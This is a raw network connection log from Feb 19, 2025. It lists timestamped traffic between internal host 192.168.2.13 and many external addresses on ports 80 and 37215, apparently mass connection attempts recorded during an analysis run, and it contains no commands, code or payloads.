Feb 19, 2025 19:43:15.929114103 CET	80	27058	112.247.93.252	192.168.2.13
Feb 19, 2025 19:43:15.929121971 CET	27058	80	192.168.2.13	112.237.229.98
Feb 19, 2025 19:43:15.929121971 CET	27058	80	192.168.2.13	112.194.236.164
Feb 19, 2025 19:43:15.929122925 CET	27058	80	192.168.2.13	112.108.113.231
Feb 19, 2025 19:43:15.929121971 CET	27058	80	192.168.2.13	112.247.113.209
Feb 19, 2025 19:43:15.929127932 CET	27058	80	192.168.2.13	112.209.25.241
Feb 19, 2025 19:43:15.929140091 CET	27058	80	192.168.2.13	112.1.68.79
Feb 19, 2025 19:43:15.929147005 CET	80	27058	112.180.141.136	192.168.2.13
Feb 19, 2025 19:43:15.929155111 CET	27058	80	192.168.2.13	112.247.93.252
Feb 19, 2025 19:43:15.929169893 CET	80	27058	112.23.8.163	192.168.2.13
Feb 19, 2025 19:43:15.929179907 CET	27058	80	192.168.2.13	112.180.141.136
Feb 19, 2025 19:43:15.929183006 CET	80	27058	112.208.3.41	192.168.2.13
Feb 19, 2025 19:43:15.929203033 CET	27058	80	192.168.2.13	112.23.8.163
Feb 19, 2025 19:43:15.929212093 CET	80	27058	112.63.57.244	192.168.2.13
Feb 19, 2025 19:43:15.929225922 CET	80	27058	112.47.162.190	192.168.2.13
Feb 19, 2025 19:43:15.929238081 CET	80	27058	112.206.48.76	192.168.2.13
Feb 19, 2025 19:43:15.929240942 CET	27058	80	192.168.2.13	112.208.3.41
Feb 19, 2025 19:43:15.929253101 CET	80	27058	112.59.210.34	192.168.2.13
Feb 19, 2025 19:43:15.929265022 CET	80	27058	112.180.178.145	192.168.2.13
Feb 19, 2025 19:43:15.929281950 CET	27058	80	192.168.2.13	112.206.48.76
Feb 19, 2025 19:43:15.929282904 CET	27058	80	192.168.2.13	112.47.162.190
Feb 19, 2025 19:43:15.929282904 CET	80	27058	112.13.224.8	192.168.2.13
Feb 19, 2025 19:43:15.929292917 CET	27058	80	192.168.2.13	112.59.210.34
Feb 19, 2025 19:43:15.929292917 CET	27058	80	192.168.2.13	112.180.178.145
Feb 19, 2025 19:43:15.929295063 CET	27058	80	192.168.2.13	112.63.57.244
Feb 19, 2025 19:43:15.929311991 CET	80	27058	112.92.192.205	192.168.2.13
Feb 19, 2025 19:43:15.929341078 CET	27058	80	192.168.2.13	112.92.192.205
Feb 19, 2025 19:43:15.929326057 CET	27058	80	192.168.2.13	112.13.224.8
Feb 19, 2025 19:43:15.929342985 CET	80	27058	112.73.66.56	192.168.2.13
Feb 19, 2025 19:43:15.929359913 CET	80	27058	112.31.165.73	192.168.2.13
Feb 19, 2025 19:43:15.929375887 CET	80	27058	112.159.7.117	192.168.2.13
Feb 19, 2025 19:43:15.929392099 CET	80	27058	112.46.50.149	192.168.2.13
Feb 19, 2025 19:43:15.929404974 CET	80	27058	112.168.11.189	192.168.2.13
Feb 19, 2025 19:43:15.929416895 CET	27058	80	192.168.2.13	112.73.66.56
Feb 19, 2025 19:43:15.929416895 CET	27058	80	192.168.2.13	112.159.7.117
Feb 19, 2025 19:43:15.929418087 CET	80	27058	112.120.184.173	192.168.2.13
Feb 19, 2025 19:43:15.929423094 CET	27058	80	192.168.2.13	112.46.50.149
Feb 19, 2025 19:43:15.929410934 CET	27058	80	192.168.2.13	112.31.165.73
Feb 19, 2025 19:43:15.929431915 CET	80	27058	112.155.65.13	192.168.2.13
Feb 19, 2025 19:43:15.929439068 CET	80	27058	112.191.37.41	192.168.2.13
Feb 19, 2025 19:43:15.929447889 CET	27058	80	192.168.2.13	112.168.11.189
Feb 19, 2025 19:43:15.929450989 CET	80	27058	112.19.43.201	192.168.2.13
Feb 19, 2025 19:43:15.929460049 CET	27058	80	192.168.2.13	112.120.184.173
Feb 19, 2025 19:43:15.929461956 CET	27058	80	192.168.2.13	112.155.65.13
Feb 19, 2025 19:43:15.929471016 CET	27058	80	192.168.2.13	112.191.37.41
Feb 19, 2025 19:43:15.929475069 CET	27058	80	192.168.2.13	112.19.43.201
Feb 19, 2025 19:43:15.929487944 CET	80	27058	112.171.232.237	192.168.2.13
Feb 19, 2025 19:43:15.929500103 CET	80	27058	112.139.109.49	192.168.2.13
Feb 19, 2025 19:43:15.929512978 CET	80	27058	112.123.30.53	192.168.2.13
Feb 19, 2025 19:43:15.929526091 CET	80	27058	112.198.68.168	192.168.2.13
Feb 19, 2025 19:43:15.929533958 CET	27058	80	192.168.2.13	112.171.232.237
Feb 19, 2025 19:43:15.929538965 CET	80	27058	112.130.168.128	192.168.2.13
Feb 19, 2025 19:43:15.929553032 CET	80	27058	112.87.69.255	192.168.2.13
Feb 19, 2025 19:43:15.929565907 CET	80	27058	112.20.171.23	192.168.2.13
Feb 19, 2025 19:43:15.929578066 CET	80	27058	112.5.109.101	192.168.2.13
Feb 19, 2025 19:43:15.929583073 CET	27058	80	192.168.2.13	112.139.109.49
Feb 19, 2025 19:43:15.929589987 CET	27058	80	192.168.2.13	112.130.168.128
Feb 19, 2025 19:43:15.929589987 CET	80	27058	112.187.243.104	192.168.2.13
Feb 19, 2025 19:43:15.929599047 CET	27058	80	192.168.2.13	112.20.171.23
Feb 19, 2025 19:43:15.929600000 CET	27058	80	192.168.2.13	112.198.68.168
Feb 19, 2025 19:43:15.929600000 CET	27058	80	192.168.2.13	112.87.69.255
Feb 19, 2025 19:43:15.929600000 CET	27058	80	192.168.2.13	112.123.30.53
Feb 19, 2025 19:43:15.929601908 CET	27058	80	192.168.2.13	112.5.109.101
Feb 19, 2025 19:43:15.929617882 CET	80	27058	112.141.221.191	192.168.2.13
Feb 19, 2025 19:43:15.929620028 CET	27058	80	192.168.2.13	112.187.243.104
Feb 19, 2025 19:43:15.929636002 CET	80	27058	112.21.233.203	192.168.2.13
Feb 19, 2025 19:43:15.929647923 CET	27058	80	192.168.2.13	112.141.221.191
Feb 19, 2025 19:43:15.929660082 CET	80	27058	112.219.28.225	192.168.2.13
Feb 19, 2025 19:43:15.929676056 CET	27058	80	192.168.2.13	112.21.233.203
Feb 19, 2025 19:43:15.929687977 CET	80	27058	112.216.48.13	192.168.2.13
Feb 19, 2025 19:43:15.929702044 CET	80	27058	112.153.230.206	192.168.2.13
Feb 19, 2025 19:43:15.929714918 CET	80	27058	112.32.36.79	192.168.2.13
Feb 19, 2025 19:43:15.929728031 CET	80	27058	112.159.76.254	192.168.2.13
Feb 19, 2025 19:43:15.929740906 CET	80	27058	112.136.126.65	192.168.2.13
Feb 19, 2025 19:43:15.929744959 CET	27058	80	192.168.2.13	112.219.28.225
Feb 19, 2025 19:43:15.929757118 CET	27058	80	192.168.2.13	112.32.36.79
Feb 19, 2025 19:43:15.929759026 CET	27058	80	192.168.2.13	112.216.48.13
Feb 19, 2025 19:43:15.929759026 CET	27058	80	192.168.2.13	112.153.230.206
Feb 19, 2025 19:43:15.929769039 CET	80	27058	112.183.29.125	192.168.2.13
Feb 19, 2025 19:43:15.929770947 CET	27058	80	192.168.2.13	112.159.76.254
Feb 19, 2025 19:43:15.929771900 CET	27058	80	192.168.2.13	112.136.126.65
Feb 19, 2025 19:43:15.929783106 CET	80	27058	112.29.109.63	192.168.2.13
Feb 19, 2025 19:43:15.929796934 CET	80	27058	112.189.104.49	192.168.2.13
Feb 19, 2025 19:43:15.929811001 CET	80	27058	112.35.146.165	192.168.2.13
Feb 19, 2025 19:43:15.929811001 CET	27058	80	192.168.2.13	112.29.109.63
Feb 19, 2025 19:43:15.929814100 CET	27058	80	192.168.2.13	112.183.29.125
Feb 19, 2025 19:43:15.929824114 CET	80	27058	112.53.150.148	192.168.2.13
Feb 19, 2025 19:43:15.929836988 CET	80	27058	112.215.100.84	192.168.2.13
Feb 19, 2025 19:43:15.929845095 CET	27058	80	192.168.2.13	112.35.146.165
Feb 19, 2025 19:43:15.929850101 CET	80	27058	112.23.135.135	192.168.2.13
Feb 19, 2025 19:43:15.929866076 CET	80	27058	112.193.201.91	192.168.2.13
Feb 19, 2025 19:43:15.929883957 CET	80	27058	112.63.140.176	192.168.2.13
Feb 19, 2025 19:43:15.929898977 CET	27058	80	192.168.2.13	112.215.100.84
Feb 19, 2025 19:43:15.929898977 CET	27058	80	192.168.2.13	112.193.201.91
Feb 19, 2025 19:43:15.929899931 CET	27058	80	192.168.2.13	112.53.150.148
Feb 19, 2025 19:43:15.929900885 CET	80	27058	112.107.102.14	192.168.2.13
Feb 19, 2025 19:43:15.929903030 CET	27058	80	192.168.2.13	112.189.104.49
Feb 19, 2025 19:43:15.929903984 CET	27058	80	192.168.2.13	112.23.135.135
Feb 19, 2025 19:43:15.929919958 CET	80	27058	112.62.87.190	192.168.2.13
Feb 19, 2025 19:43:15.929934025 CET	80	27058	112.159.170.189	192.168.2.13
Feb 19, 2025 19:43:15.929939032 CET	27058	80	192.168.2.13	112.107.102.14
Feb 19, 2025 19:43:15.929944038 CET	27058	80	192.168.2.13	112.63.140.176
Feb 19, 2025 19:43:15.929946899 CET	80	27058	112.75.226.122	192.168.2.13
Feb 19, 2025 19:43:15.929950953 CET	27058	80	192.168.2.13	112.62.87.190
Feb 19, 2025 19:43:15.929970026 CET	27058	80	192.168.2.13	112.159.170.189
Feb 19, 2025 19:43:15.929974079 CET	27058	80	192.168.2.13	112.75.226.122
Feb 19, 2025 19:43:15.929984093 CET	80	27058	112.176.77.66	192.168.2.13
Feb 19, 2025 19:43:15.929996014 CET	80	27058	112.215.50.93	192.168.2.13
Feb 19, 2025 19:43:15.930008888 CET	80	27058	112.81.89.162	192.168.2.13
Feb 19, 2025 19:43:15.930022001 CET	80	27058	112.123.98.126	192.168.2.13
Feb 19, 2025 19:43:15.930035114 CET	80	27058	112.185.156.92	192.168.2.13
Feb 19, 2025 19:43:15.930047035 CET	27058	80	192.168.2.13	112.81.89.162
Feb 19, 2025 19:43:15.930058956 CET	80	27058	112.129.62.116	192.168.2.13
Feb 19, 2025 19:43:15.930061102 CET	27058	80	192.168.2.13	112.215.50.93
Feb 19, 2025 19:43:15.930061102 CET	27058	80	192.168.2.13	112.176.77.66
Feb 19, 2025 19:43:15.930072069 CET	80	27058	112.145.246.200	192.168.2.13
Feb 19, 2025 19:43:15.930079937 CET	27058	80	192.168.2.13	112.123.98.126
Feb 19, 2025 19:43:15.930082083 CET	27058	80	192.168.2.13	112.185.156.92
Feb 19, 2025 19:43:15.930094957 CET	80	27058	112.54.221.105	192.168.2.13
Feb 19, 2025 19:43:15.930102110 CET	27058	80	192.168.2.13	112.145.246.200
Feb 19, 2025 19:43:15.930108070 CET	80	27058	112.72.61.1	192.168.2.13
Feb 19, 2025 19:43:15.930114985 CET	27058	80	192.168.2.13	112.129.62.116
Feb 19, 2025 19:43:15.930124998 CET	80	27058	112.191.154.247	192.168.2.13
Feb 19, 2025 19:43:15.930126905 CET	27058	80	192.168.2.13	112.54.221.105
Feb 19, 2025 19:43:15.930139065 CET	27058	80	192.168.2.13	112.72.61.1
Feb 19, 2025 19:43:15.930162907 CET	27058	80	192.168.2.13	112.191.154.247
Feb 19, 2025 19:43:15.930291891 CET	80	27058	112.43.133.23	192.168.2.13
Feb 19, 2025 19:43:15.930306911 CET	80	27058	112.146.164.23	192.168.2.13
Feb 19, 2025 19:43:15.930319071 CET	80	27058	112.142.24.157	192.168.2.13
Feb 19, 2025 19:43:15.930324078 CET	27058	80	192.168.2.13	112.43.133.23
Feb 19, 2025 19:43:15.930335045 CET	80	27058	112.76.8.20	192.168.2.13
Feb 19, 2025 19:43:15.930352926 CET	80	27058	112.90.88.104	192.168.2.13
Feb 19, 2025 19:43:15.930370092 CET	80	27058	112.77.2.84	192.168.2.13
Feb 19, 2025 19:43:15.930386066 CET	80	27058	112.196.25.17	192.168.2.13
Feb 19, 2025 19:43:15.930394888 CET	27058	80	192.168.2.13	112.146.164.23
Feb 19, 2025 19:43:15.930401087 CET	80	27058	112.165.94.183	192.168.2.13
Feb 19, 2025 19:43:15.930403948 CET	27058	80	192.168.2.13	112.142.24.157
Feb 19, 2025 19:43:15.930403948 CET	27058	80	192.168.2.13	112.77.2.84
Feb 19, 2025 19:43:15.930403948 CET	27058	80	192.168.2.13	112.90.88.104
Feb 19, 2025 19:43:15.930409908 CET	27058	80	192.168.2.13	112.76.8.20
Feb 19, 2025 19:43:15.930416107 CET	80	27058	112.164.248.186	192.168.2.13
Feb 19, 2025 19:43:15.930418015 CET	27058	80	192.168.2.13	112.196.25.17
Feb 19, 2025 19:43:15.930435896 CET	27058	80	192.168.2.13	112.165.94.183
Feb 19, 2025 19:43:15.930443048 CET	80	27058	112.57.42.129	192.168.2.13
Feb 19, 2025 19:43:15.930445910 CET	27058	80	192.168.2.13	112.164.248.186
Feb 19, 2025 19:43:15.930457115 CET	80	27058	112.161.47.71	192.168.2.13
Feb 19, 2025 19:43:15.930469990 CET	80	27058	112.210.170.217	192.168.2.13
Feb 19, 2025 19:43:15.930474043 CET	27058	80	192.168.2.13	112.57.42.129
Feb 19, 2025 19:43:15.930481911 CET	80	27058	112.218.111.184	192.168.2.13
Feb 19, 2025 19:43:15.930489063 CET	27058	80	192.168.2.13	112.161.47.71
Feb 19, 2025 19:43:15.930495024 CET	80	27058	112.209.87.92	192.168.2.13
Feb 19, 2025 19:43:15.930507898 CET	80	27058	112.53.42.70	192.168.2.13
Feb 19, 2025 19:43:15.930521011 CET	80	27058	112.171.106.66	192.168.2.13
Feb 19, 2025 19:43:15.930531025 CET	27058	80	192.168.2.13	112.210.170.217
Feb 19, 2025 19:43:15.930545092 CET	80	27058	112.95.244.68	192.168.2.13
Feb 19, 2025 19:43:15.930557966 CET	80	27058	112.55.17.72	192.168.2.13
Feb 19, 2025 19:43:15.930567980 CET	27058	80	192.168.2.13	112.209.87.92
Feb 19, 2025 19:43:15.930571079 CET	27058	80	192.168.2.13	112.218.111.184
Feb 19, 2025 19:43:15.930571079 CET	27058	80	192.168.2.13	112.53.42.70
Feb 19, 2025 19:43:15.930572033 CET	80	27058	112.173.209.82	192.168.2.13
Feb 19, 2025 19:43:15.930577040 CET	27058	80	192.168.2.13	112.171.106.66
Feb 19, 2025 19:43:15.930582047 CET	27058	80	192.168.2.13	112.95.244.68
Feb 19, 2025 19:43:15.930591106 CET	27058	80	192.168.2.13	112.55.17.72
Feb 19, 2025 19:43:15.930591106 CET	80	27058	112.75.216.230	192.168.2.13
Feb 19, 2025 19:43:15.930603027 CET	27058	80	192.168.2.13	112.173.209.82
Feb 19, 2025 19:43:15.930608988 CET	80	27058	112.38.83.206	192.168.2.13
Feb 19, 2025 19:43:15.930622101 CET	27058	80	192.168.2.13	112.75.216.230
Feb 19, 2025 19:43:15.930627108 CET	80	27058	112.42.168.127	192.168.2.13
Feb 19, 2025 19:43:15.930640936 CET	27058	80	192.168.2.13	112.38.83.206
Feb 19, 2025 19:43:15.930641890 CET	80	27058	112.226.159.60	192.168.2.13
Feb 19, 2025 19:43:15.930655003 CET	80	27058	112.168.9.20	192.168.2.13
Feb 19, 2025 19:43:15.930668116 CET	80	27058	112.45.191.244	192.168.2.13
Feb 19, 2025 19:43:15.930674076 CET	27058	80	192.168.2.13	112.42.168.127
Feb 19, 2025 19:43:15.930680990 CET	80	27058	112.179.106.66	192.168.2.13
Feb 19, 2025 19:43:15.930694103 CET	80	27058	112.55.84.21	192.168.2.13
Feb 19, 2025 19:43:15.930712938 CET	80	27058	112.43.132.178	192.168.2.13
Feb 19, 2025 19:43:15.930721045 CET	27058	80	192.168.2.13	112.226.159.60
Feb 19, 2025 19:43:15.930727005 CET	27058	80	192.168.2.13	112.45.191.244
Feb 19, 2025 19:43:15.930730104 CET	27058	80	192.168.2.13	112.179.106.66
Feb 19, 2025 19:43:15.930732012 CET	27058	80	192.168.2.13	112.55.84.21
Feb 19, 2025 19:43:15.930726051 CET	27058	80	192.168.2.13	112.168.9.20
Feb 19, 2025 19:43:15.930746078 CET	80	27058	112.126.188.55	192.168.2.13
Feb 19, 2025 19:43:15.930747032 CET	27058	80	192.168.2.13	112.43.132.178
Feb 19, 2025 19:43:15.930759907 CET	80	27058	112.93.239.58	192.168.2.13
Feb 19, 2025 19:43:15.930773020 CET	80	27058	112.109.176.36	192.168.2.13
Feb 19, 2025 19:43:15.930779934 CET	27058	80	192.168.2.13	112.126.188.55
Feb 19, 2025 19:43:15.930785894 CET	80	27058	112.88.82.7	192.168.2.13
Feb 19, 2025 19:43:15.930799007 CET	80	27058	112.73.132.33	192.168.2.13
Feb 19, 2025 19:43:15.930814981 CET	80	27058	112.12.1.209	192.168.2.13
Feb 19, 2025 19:43:15.930838108 CET	80	27058	112.205.65.29	192.168.2.13
Feb 19, 2025 19:43:15.930841923 CET	27058	80	192.168.2.13	112.93.239.58
Feb 19, 2025 19:43:15.930845976 CET	27058	80	192.168.2.13	112.73.132.33
Feb 19, 2025 19:43:15.930852890 CET	27058	80	192.168.2.13	112.109.176.36
Feb 19, 2025 19:43:15.930852890 CET	27058	80	192.168.2.13	112.88.82.7
Feb 19, 2025 19:43:15.930861950 CET	80	27058	112.147.201.117	192.168.2.13
Feb 19, 2025 19:43:15.930865049 CET	27058	80	192.168.2.13	112.12.1.209
Feb 19, 2025 19:43:15.930872917 CET	27058	80	192.168.2.13	112.205.65.29
Feb 19, 2025 19:43:15.930898905 CET	27058	80	192.168.2.13	112.147.201.117
Feb 19, 2025 19:43:15.950217962 CET	27314	37215	192.168.2.13	41.59.4.209
Feb 19, 2025 19:43:15.950293064 CET	27314	37215	192.168.2.13	41.168.82.214
Feb 19, 2025 19:43:15.950306892 CET	27314	37215	192.168.2.13	41.136.189.146
Feb 19, 2025 19:43:15.950387001 CET	27314	37215	192.168.2.13	41.152.169.55
Feb 19, 2025 19:43:15.950423956 CET	27314	37215	192.168.2.13	41.126.18.90
Feb 19, 2025 19:43:15.950422049 CET	27314	37215	192.168.2.13	41.103.177.245
Feb 19, 2025 19:43:15.950424910 CET	27314	37215	192.168.2.13	41.61.7.237
Feb 19, 2025 19:43:15.950453043 CET	27314	37215	192.168.2.13	41.41.222.182
Feb 19, 2025 19:43:15.950453043 CET	27314	37215	192.168.2.13	41.29.48.183
Feb 19, 2025 19:43:15.950474977 CET	27314	37215	192.168.2.13	41.62.62.213
Feb 19, 2025 19:43:15.950475931 CET	27314	37215	192.168.2.13	41.65.4.133
Feb 19, 2025 19:43:15.950475931 CET	27314	37215	192.168.2.13	41.245.93.82
Feb 19, 2025 19:43:15.950505972 CET	27314	37215	192.168.2.13	41.63.9.111
Feb 19, 2025 19:43:15.950607061 CET	27314	37215	192.168.2.13	41.71.193.225
Feb 19, 2025 19:43:15.950613022 CET	27314	37215	192.168.2.13	41.37.75.83
Feb 19, 2025 19:43:15.950613022 CET	27314	37215	192.168.2.13	41.174.20.98
Feb 19, 2025 19:43:15.950634956 CET	27314	37215	192.168.2.13	41.58.178.23
Feb 19, 2025 19:43:15.950640917 CET	27314	37215	192.168.2.13	41.247.254.246
Feb 19, 2025 19:43:15.950642109 CET	27314	37215	192.168.2.13	41.194.36.134
Feb 19, 2025 19:43:15.950675964 CET	27314	37215	192.168.2.13	41.138.13.5
Feb 19, 2025 19:43:15.950680971 CET	27314	37215	192.168.2.13	41.62.16.240
Feb 19, 2025 19:43:15.950690031 CET	27314	37215	192.168.2.13	41.42.27.91
Feb 19, 2025 19:43:15.950722933 CET	27314	37215	192.168.2.13	41.122.238.73
Feb 19, 2025 19:43:15.950797081 CET	27314	37215	192.168.2.13	41.118.125.119
Feb 19, 2025 19:43:15.950814009 CET	27314	37215	192.168.2.13	41.101.255.176
Feb 19, 2025 19:43:15.950820923 CET	27314	37215	192.168.2.13	41.241.9.200
Feb 19, 2025 19:43:15.950824022 CET	27314	37215	192.168.2.13	41.64.123.254
Feb 19, 2025 19:43:15.950835943 CET	27314	37215	192.168.2.13	41.122.80.225
Feb 19, 2025 19:43:15.950849056 CET	27314	37215	192.168.2.13	41.41.234.11
Feb 19, 2025 19:43:15.950856924 CET	27314	37215	192.168.2.13	41.43.243.254
Feb 19, 2025 19:43:15.950886965 CET	27314	37215	192.168.2.13	41.241.169.74
Feb 19, 2025 19:43:15.950968027 CET	27314	37215	192.168.2.13	41.233.83.189
Feb 19, 2025 19:43:15.950973034 CET	27314	37215	192.168.2.13	41.17.151.184
Feb 19, 2025 19:43:15.950983047 CET	27314	37215	192.168.2.13	41.139.207.55
Feb 19, 2025 19:43:15.950984955 CET	27314	37215	192.168.2.13	41.63.31.103
Feb 19, 2025 19:43:15.950984955 CET	27314	37215	192.168.2.13	41.149.82.29
Feb 19, 2025 19:43:15.951020956 CET	27314	37215	192.168.2.13	41.93.245.46
Feb 19, 2025 19:43:15.951021910 CET	27314	37215	192.168.2.13	41.17.67.143
Feb 19, 2025 19:43:15.951035976 CET	27314	37215	192.168.2.13	41.244.238.5
Feb 19, 2025 19:43:15.951061010 CET	27314	37215	192.168.2.13	41.61.56.86
Feb 19, 2025 19:43:15.951081991 CET	27314	37215	192.168.2.13	41.240.87.4
Feb 19, 2025 19:43:15.951102972 CET	27314	37215	192.168.2.13	41.112.198.193
Feb 19, 2025 19:43:15.951126099 CET	27314	37215	192.168.2.13	41.232.80.4
Feb 19, 2025 19:43:15.951145887 CET	27314	37215	192.168.2.13	41.186.74.5
Feb 19, 2025 19:43:15.951159000 CET	27314	37215	192.168.2.13	41.192.225.158
Feb 19, 2025 19:43:15.951174021 CET	27314	37215	192.168.2.13	41.67.130.238
Feb 19, 2025 19:43:15.951212883 CET	27314	37215	192.168.2.13	41.45.130.26
Feb 19, 2025 19:43:15.951244116 CET	27314	37215	192.168.2.13	41.133.191.146
Feb 19, 2025 19:43:15.951268911 CET	27314	37215	192.168.2.13	41.214.223.11
Feb 19, 2025 19:43:15.951282024 CET	27314	37215	192.168.2.13	41.251.60.162
Feb 19, 2025 19:43:15.951298952 CET	27314	37215	192.168.2.13	41.13.120.181
Feb 19, 2025 19:43:15.951322079 CET	27314	37215	192.168.2.13	41.112.192.140
Feb 19, 2025 19:43:15.951345921 CET	27314	37215	192.168.2.13	41.158.52.189
Feb 19, 2025 19:43:15.951361895 CET	27314	37215	192.168.2.13	41.165.238.250
Feb 19, 2025 19:43:15.951380968 CET	27314	37215	192.168.2.13	41.81.57.124
Feb 19, 2025 19:43:15.951400042 CET	27314	37215	192.168.2.13	41.67.91.133
Feb 19, 2025 19:43:15.951432943 CET	27314	37215	192.168.2.13	41.197.184.75
Feb 19, 2025 19:43:15.951442957 CET	27314	37215	192.168.2.13	41.131.14.252
Feb 19, 2025 19:43:15.951462030 CET	27314	37215	192.168.2.13	41.164.255.101
Feb 19, 2025 19:43:15.951487064 CET	27314	37215	192.168.2.13	41.50.61.235
Feb 19, 2025 19:43:15.951507092 CET	27314	37215	192.168.2.13	41.51.195.234
Feb 19, 2025 19:43:15.951536894 CET	27314	37215	192.168.2.13	41.131.178.121
Feb 19, 2025 19:43:15.951567888 CET	27314	37215	192.168.2.13	41.156.52.74
Feb 19, 2025 19:43:15.951596022 CET	27314	37215	192.168.2.13	41.10.53.160
Feb 19, 2025 19:43:15.951600075 CET	27314	37215	192.168.2.13	41.242.77.114
Feb 19, 2025 19:43:15.951632023 CET	27314	37215	192.168.2.13	41.223.83.199
Feb 19, 2025 19:43:15.951638937 CET	27314	37215	192.168.2.13	41.228.205.237
Feb 19, 2025 19:43:15.951672077 CET	27314	37215	192.168.2.13	41.245.77.10
Feb 19, 2025 19:43:15.951683044 CET	27314	37215	192.168.2.13	41.22.235.81
Feb 19, 2025 19:43:15.951723099 CET	27314	37215	192.168.2.13	41.168.4.54
Feb 19, 2025 19:43:15.951730967 CET	27314	37215	192.168.2.13	41.43.128.137
Feb 19, 2025 19:43:15.951751947 CET	27314	37215	192.168.2.13	41.119.241.216
Feb 19, 2025 19:43:15.951769114 CET	27314	37215	192.168.2.13	41.243.208.66
Feb 19, 2025 19:43:15.951786995 CET	27314	37215	192.168.2.13	41.17.5.255
Feb 19, 2025 19:43:15.951797962 CET	27314	37215	192.168.2.13	41.14.9.199
Feb 19, 2025 19:43:15.951812983 CET	27314	37215	192.168.2.13	41.198.206.73
Feb 19, 2025 19:43:15.951837063 CET	27314	37215	192.168.2.13	41.188.17.219
Feb 19, 2025 19:43:15.951860905 CET	27314	37215	192.168.2.13	41.146.23.244
Feb 19, 2025 19:43:15.951869965 CET	27314	37215	192.168.2.13	41.149.130.238
Feb 19, 2025 19:43:15.951890945 CET	27314	37215	192.168.2.13	41.219.145.54
Feb 19, 2025 19:43:15.951906919 CET	27314	37215	192.168.2.13	41.35.141.166
Feb 19, 2025 19:43:15.951926947 CET	27314	37215	192.168.2.13	41.179.145.95
Feb 19, 2025 19:43:15.951940060 CET	27314	37215	192.168.2.13	41.251.91.84
Feb 19, 2025 19:43:15.951948881 CET	27314	37215	192.168.2.13	41.114.111.67
Feb 19, 2025 19:43:15.951968908 CET	27314	37215	192.168.2.13	41.169.197.93
Feb 19, 2025 19:43:15.951988935 CET	27314	37215	192.168.2.13	41.190.149.92
Feb 19, 2025 19:43:15.952027082 CET	27314	37215	192.168.2.13	41.87.158.80
Feb 19, 2025 19:43:15.952027082 CET	27314	37215	192.168.2.13	41.6.146.186
Feb 19, 2025 19:43:15.952028990 CET	27314	37215	192.168.2.13	41.2.72.136
Feb 19, 2025 19:43:15.952050924 CET	27314	37215	192.168.2.13	41.34.14.64
Feb 19, 2025 19:43:15.952084064 CET	27314	37215	192.168.2.13	41.227.248.82
Feb 19, 2025 19:43:15.952120066 CET	27314	37215	192.168.2.13	41.233.172.146
Feb 19, 2025 19:43:15.952136040 CET	27314	37215	192.168.2.13	41.236.138.100
Feb 19, 2025 19:43:15.952164888 CET	27314	37215	192.168.2.13	41.20.171.166
Feb 19, 2025 19:43:15.952189922 CET	27314	37215	192.168.2.13	41.127.190.95
Feb 19, 2025 19:43:15.952218056 CET	27314	37215	192.168.2.13	41.56.56.3
Feb 19, 2025 19:43:15.952263117 CET	27314	37215	192.168.2.13	41.119.83.158
Feb 19, 2025 19:43:15.952280998 CET	27314	37215	192.168.2.13	41.225.117.212
Feb 19, 2025 19:43:15.952291965 CET	27314	37215	192.168.2.13	41.176.91.11
Feb 19, 2025 19:43:15.952311039 CET	27314	37215	192.168.2.13	41.235.226.46
Feb 19, 2025 19:43:15.952342987 CET	27314	37215	192.168.2.13	41.222.43.0
Feb 19, 2025 19:43:15.952366114 CET	27314	37215	192.168.2.13	41.156.191.155
Feb 19, 2025 19:43:15.952378988 CET	27314	37215	192.168.2.13	41.161.208.160
Feb 19, 2025 19:43:15.952405930 CET	27314	37215	192.168.2.13	41.28.88.222
Feb 19, 2025 19:43:15.952429056 CET	27314	37215	192.168.2.13	41.79.26.198
Feb 19, 2025 19:43:15.952435970 CET	27314	37215	192.168.2.13	41.141.102.123
Feb 19, 2025 19:43:15.952471972 CET	27314	37215	192.168.2.13	41.217.123.164
Feb 19, 2025 19:43:15.952475071 CET	27314	37215	192.168.2.13	41.145.179.160
Feb 19, 2025 19:43:15.952493906 CET	27314	37215	192.168.2.13	41.65.58.41
Feb 19, 2025 19:43:15.952510118 CET	27314	37215	192.168.2.13	41.223.11.79
Feb 19, 2025 19:43:15.952538013 CET	27314	37215	192.168.2.13	41.97.246.77
Feb 19, 2025 19:43:15.952564955 CET	27314	37215	192.168.2.13	41.85.215.126
Feb 19, 2025 19:43:15.952574968 CET	27314	37215	192.168.2.13	41.236.2.206
Feb 19, 2025 19:43:15.952586889 CET	27314	37215	192.168.2.13	41.192.105.248
Feb 19, 2025 19:43:15.952615976 CET	27314	37215	192.168.2.13	41.180.24.40
Feb 19, 2025 19:43:15.952634096 CET	27314	37215	192.168.2.13	41.11.16.31
Feb 19, 2025 19:43:15.952651978 CET	27314	37215	192.168.2.13	41.119.40.22
Feb 19, 2025 19:43:15.952689886 CET	27314	37215	192.168.2.13	41.30.83.86
Feb 19, 2025 19:43:15.952699900 CET	27314	37215	192.168.2.13	41.46.196.156
Feb 19, 2025 19:43:15.952711105 CET	27314	37215	192.168.2.13	41.113.159.219
Feb 19, 2025 19:43:15.952728033 CET	27314	37215	192.168.2.13	41.2.104.204
Feb 19, 2025 19:43:15.952759981 CET	27314	37215	192.168.2.13	41.43.155.121
Feb 19, 2025 19:43:15.952769995 CET	27314	37215	192.168.2.13	41.16.131.145
Feb 19, 2025 19:43:15.952789068 CET	27314	37215	192.168.2.13	41.36.29.150
Feb 19, 2025 19:43:15.952811003 CET	27314	37215	192.168.2.13	41.104.131.128
Feb 19, 2025 19:43:15.952852011 CET	27314	37215	192.168.2.13	41.99.158.124
Feb 19, 2025 19:43:15.952867985 CET	27314	37215	192.168.2.13	41.100.123.121
Feb 19, 2025 19:43:15.952888966 CET	27314	37215	192.168.2.13	41.139.71.227
Feb 19, 2025 19:43:15.952904940 CET	27314	37215	192.168.2.13	41.4.161.147
Feb 19, 2025 19:43:15.952928066 CET	27314	37215	192.168.2.13	41.32.191.73
Feb 19, 2025 19:43:15.952943087 CET	27314	37215	192.168.2.13	41.164.147.143
Feb 19, 2025 19:43:15.952956915 CET	27314	37215	192.168.2.13	41.45.167.168
Feb 19, 2025 19:43:15.952966928 CET	27314	37215	192.168.2.13	41.118.252.79
Feb 19, 2025 19:43:15.952991962 CET	27314	37215	192.168.2.13	41.165.158.129
Feb 19, 2025 19:43:15.953006983 CET	27314	37215	192.168.2.13	41.188.253.171
Feb 19, 2025 19:43:15.953021049 CET	27314	37215	192.168.2.13	41.186.40.235
Feb 19, 2025 19:43:15.953041077 CET	27314	37215	192.168.2.13	41.21.202.47
Feb 19, 2025 19:43:15.953063965 CET	27314	37215	192.168.2.13	41.154.192.30
Feb 19, 2025 19:43:15.953077078 CET	27314	37215	192.168.2.13	41.180.240.18
